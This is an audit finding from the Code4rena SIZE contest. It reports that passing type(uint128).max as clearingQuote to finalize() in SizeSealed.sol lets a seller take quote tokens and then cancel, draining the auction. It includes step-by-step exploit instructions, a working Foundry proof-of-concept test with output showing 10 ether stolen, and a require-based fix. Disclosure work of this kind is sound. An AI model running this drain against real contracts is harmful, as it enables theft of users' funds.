SIZE contest - bin2chen's results

Lines of code

https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L238 https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L33

Vulnerability details

Impact

SizeSealed#finalize() does not limit the clearingQuote value, if pass clearingQuote==type(uint128).max, finalize() can be completed execute, the seller can get the corresponding QuoteToken, but the state does not become "Finalized", still "RevealPeriod", so Malicious users can still cancel the auction to get back their baseToken

Proof of Concept

Steps:

1. Assume that the auction contract already has 10 ether of quoteToken
2. Malicious user User_A submits a new bid (baseToSell==10 ether)
3. Use other account User_B execute bid (quoteAmount=10 ether and baseAmount=10 ether)
4. Malicious user User_A calls reveal(clearingBase=type(uint128).max , clearingQuote=type(uint128).max), which completes execute and gets quoteToken: 10 ether, but the status is still “RevealPeriod”, because lowestQuote=clearingQuote=type(uint128).max
5. Malicious user User_A calls cancelAuction() to cancel the auction and get the original baseToken: 10 ether
6. The malicious user User_B calls cancelBid() to get back the bid's quoteToken: 10 ether
7. Thus the auction contract 10 ether is stolen

    function finalize(uint256 auctionId, uint256[] memory bidIndices, uint128 clearingBase, uint128 clearingQuote)
        public
        atState(idToAuction[auctionId], States.RevealPeriod)
    {
...
        a.data.lowestBase = clearingBase;
        a.data.lowestQuote = clearingQuote;  //***@audit lowestQuote=clearingQuote= type(uint128).max  ***/
        ..
    }

    modifier atState(Auction storage a, States _state) {
        if (block.timestamp < a.timings.startTimestamp) {
            if (_state != States.Created) revert InvalidState();
        } else if (block.timestamp < a.timings.endTimestamp) {
            if (_state != States.AcceptingBids) revert InvalidState();
        } else if (a.data.lowestQuote != type(uint128).max) { //***@audit lowestQuote=type(uint128).max so still "RevealPeriod"  ***/
            if (_state != States.Finalized) revert InvalidState();
        } else if (block.timestamp <= a.timings.endTimestamp + 24 hours) {
            if (_state != States.RevealPeriod) revert InvalidState();
        } else if (block.timestamp > a.timings.endTimestamp + 24 hours) {
            if (_state != States.Voided) revert InvalidState();
        } else {
            revert();
        }
        _;
    }

Test code：

    function testSteal() public {
        quoteToken.mint(address(auction), baseToSell);//**** auction has quoteToken balance: 10 ether
        emit log_named_uint("auction before Quote:", quoteToken.balanceOf(address(auction)));  

        (uint256 sellerBeforeQuote, uint256 sellerBeforeBase) = seller.balances();
        emit log_named_uint("sellerBeforeQuote:", sellerBeforeQuote);        
        emit log_named_uint("sellerBeforeBase:", sellerBeforeBase);   

        (uint256 buyerBeforeQuote,uint256 buyerBeforeBase) = bidder1.balances();
        emit log_named_uint("buyerBeforeQuote:", buyerBeforeQuote);           
        emit log_named_uint("buyerBeforeBase:", buyerBeforeBase);  

        uint256 aid = seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );
        bidder1.setAuctionId(aid);
        bidder1.bidOnAuctionWithSalt(baseToSell, baseToSell, "hello");
        uint256[] memory bidIndices = new uint[](1);
        bidIndices[0] = 0;
        vm.warp(endTime + 1);
        seller.finalize(bidIndices, type(uint128).max, type(uint128).max);        
        seller.cancelAuction();
        bidder1.cancel();

        (uint256 sellerLastQuote, uint256 sellerLastBase) = seller.balances();
        emit log_named_uint("sellerLastQuote:", sellerLastQuote);        
        emit log_named_uint("sellerLastBase:", sellerLastBase);  

        (uint256 buyerLastQuote,uint256 buyerLastBase) = bidder1.balances();
        emit log_named_uint("buyerLastQuote:", buyerLastQuote);           
        emit log_named_uint("buyerLastBase:", buyerLastBase); 
        emit log_named_uint("auction Last Quote:", quoteToken.balanceOf(address(auction)));  
             
    }

$ forge test --match testSteal -vvv

[PASS] testSteal() (gas: 651576)
Logs:
  auction before Quote:: 10000000000000000000

  sellerBeforeQuote:: 0
  sellerBeforeBase:: 100000000000000000000
  buyerBeforeQuote:: 100000000000000000000
  buyerBeforeBase:: 0

  sellerLastQuote:: 10000000000000000000  /********* Steal 10 ether *********/
  sellerLastBase:: 100000000000000000000
  buyerLastQuote:: 100000000000000000000
  buyerLastBase:: 0

  auction Last Quote:: 0 /********* auction ==0, The stolen *********/

Tools Used

Recommended Mitigation Steps

    function finalize(uint256 auctionId, uint256[] memory bidIndices, uint128 clearingBase, uint128 clearingQuote)
        public
        atState(idToAuction[auctionId], States.RevealPeriod)
    {

...

        if (bidIndices.length != a.bids.length) {
            revert InvalidCalldata();
        }

+      require(clearingQuote!=type(uint128).max);